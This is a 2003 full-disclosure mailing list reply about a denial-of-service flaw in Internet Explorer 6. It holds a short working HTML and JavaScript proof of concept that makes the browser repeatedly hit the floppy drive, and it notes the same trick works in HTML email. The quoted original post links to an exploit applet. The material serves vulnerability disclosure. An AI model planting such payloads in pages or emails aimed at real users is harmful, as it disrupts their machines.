full-disclosure - RE: IE6 & Java 1.4.2_02 applet: Hardware stress on floppy drive

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From: rms at computerbytesman.com (Richard M. Smith)
Subject: RE: IE6 & Java 1.4.2_02 applet: Hardware stress on floppy drive

Here's a more general approach to using the floppy drive for a DoS attack on
a Windows machine:

<html>
<head>
</head>

<body>

<script>
for(i = 1; i <= 2000; ++i)
{
	document.writeln("<img src=a:\\foo" + i + ".gif width=1 height=1>");
}
</script>

</body>
</html>

The fundamental problem here is that a Web page using the http: protocol
shouldn't be able to access HTML objects from a local system using the file:
protocol.

This same trick can be also used from an HTML email message, but the <img>
tags will have to hardwired into the HTML message and not generated by
script code.

Richard

-----Original Message-----
From: Marc Schoenefeld [mailto:schonef@...-muenster.de] 
Sent: Tuesday, October 21, 2003 5:00 PM
To: bugtraq@...urityfocus.com; full-disclosure@...ts.netsys.com
Subject: IE6 & Java 1.4.2_02 applet: Hardware stress on floppy drive

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Hi,

be prepared that your IE6 will be blocked if you
run the java plugin (any 1.4.x including 1.4.2_02)
with the following applet:

http://www.illegalaccess.org/exploits/java/applet/MyFloppySucks.html

...